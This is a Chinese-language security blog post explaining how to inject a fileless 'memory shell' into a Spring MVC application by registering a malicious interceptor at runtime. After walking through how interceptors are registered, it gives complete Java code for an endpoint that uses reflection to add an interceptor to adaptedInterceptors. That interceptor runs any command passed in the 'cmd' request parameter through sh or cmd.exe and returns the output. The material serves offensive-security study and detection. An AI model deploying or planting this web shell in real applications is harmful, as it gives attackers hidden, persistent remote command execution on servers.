Spring MemoryShell Of Interceptor

前言

Spring Interceptor和Tomcat Filter过滤器很类似,区别如下:

  • Interceptor基于反射,Filter基于函数回调
  • Interceptor不依赖Servlet容器
  • Interceptor只能对Action请求有用
  • Interceptor可以访问Action上下文,栈里的对象,而Filter不能
  • Action生命周期中,Interceptor可以被多次调用,而Filter只在容器初始化时调用一次
  • Interceptor可以获取IOC容器中的Bean,而Filter不行

由以上区别,Interceptor的应用和过滤器也就不同,Interceptor用来做日志记录,过滤器用来过滤非法操作。

过程分析

Interceptor拦截过程如下:

  • 程序先执行preHandle方法,如果该方法的返回值为true,则程序会继续向下执行处理器中的方法,否则将不再向下执行
  • 控制器Controller类处理完请求后,会执行postHandle方法,然后会通过DispatcherServlet向客户端返回响应
  • 在DispatcherServlet处理完请求后,才会执行afterCompletion方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 拦截类
package com.example.springmemoryshell.demos.web;

import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@Component
public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
/**
* 如果返回false, 整个请求到这里就结束, 不再执行后面的拦截器以及Controller的处理.
* 如果返回true, 则继续执行后面的拦截器以及Controller的处理.
*/
System.out.println("MyInterceptor preHandle() called...");
return false;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("MyInterceptor postHandle() called...");
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("MyInterceptor afterCompletion() called, which means the request and response is completed...");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 配置类
package com.example.springmemoryshell.demos.web;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Component
public class TestInterceptorAppConfig implements WebMvcConfigurer {
@Autowired
private TestInterceptor testInterceptor;

@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(testInterceptor).addPathPatterns("/**");
}
}

在TestInterceptorAppConfig#addInterceptors方法中下断点,观察堆栈信息,可以看到URL映射处理器RequestMappingHandlerMapping会调用setInterceptors方法将Spring IoC容器中所有的Interceptor保存到自己的interceptors属性中。

image.png

image.png

接着继续运行至Springboot启动完成,访问路由/test/index,发现会执行自定义的拦截器,当preHandle返回值为true时,会继续向下执行另外两个。

image.png

观察堆栈信息,发现在执行了doDispatch#applyPreHandle方法之后,interceptorList中已经有自定义的拦截器了。

image.png

跟进一下doDispatch#applyPreHandle方法,发现会调用preHandle方法,因此,需要注册拦截的话一定是在这之前。

image.png

观察一下注册流程,先调用checkMultipart方法判断request是否为文件上传请求,不是的话则会原样返回,接着调用getHandler方法,将getHandler方法执行后的结果返回给mappedHandler。

image.png

跟进getHandler方法,会调用到org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler方法,接着会调用getHandlerExecutionChain方法。

image.png

image.png

跟进getHandlerExecutionChain方法,会遍历this.adaptedInterceptors对象里所有的HandlerInterceptor类实例,通过HandlerExecutionChain#addInterceptor方法把已有的所有拦截器加入到需要返回的HandlerExecutionChain exectuion属性中,完成注册。

image.png

image.png

通过上文的分析,要注入Interceptor内存马,只要将Interceptor对象封装到MappedInterceptor对象中,然后将MappedInterceptor对象添加List集合adaptedInterceptors中即可。

应用

思路

动态注册Spring Interceptor内存马的具体思路如下:

  • 获取Context
  • 获取AbstractHandlerMapping
  • 获取adaptedInterceptors属性
  • 构造MappedInterceptor
  • 调用adaptedInterceptors#add方法添加构造的mappedInterceptor对象

动态注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.example.springmemoryshell.demos.web;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Scanner;

@Controller
public class SpringInterceptorMemShell1 implements HandlerInterceptor {
@ResponseBody
@RequestMapping(value = "/inject3", method = RequestMethod.GET)
public void SpringInterceptorMemShell1() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>)field.get(mappingHandlerMapping);

MappedInterceptor mappedInterceptor = new MappedInterceptor(null,null,new InjectInterceptor());
adaptedInterceptors.add(mappedInterceptor);
} catch (Exception e) {
e.printStackTrace();
}
}

}

class InjectInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
if (request.getParameter("cmd") != null) {
try{
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}

public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}

public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
}

image.png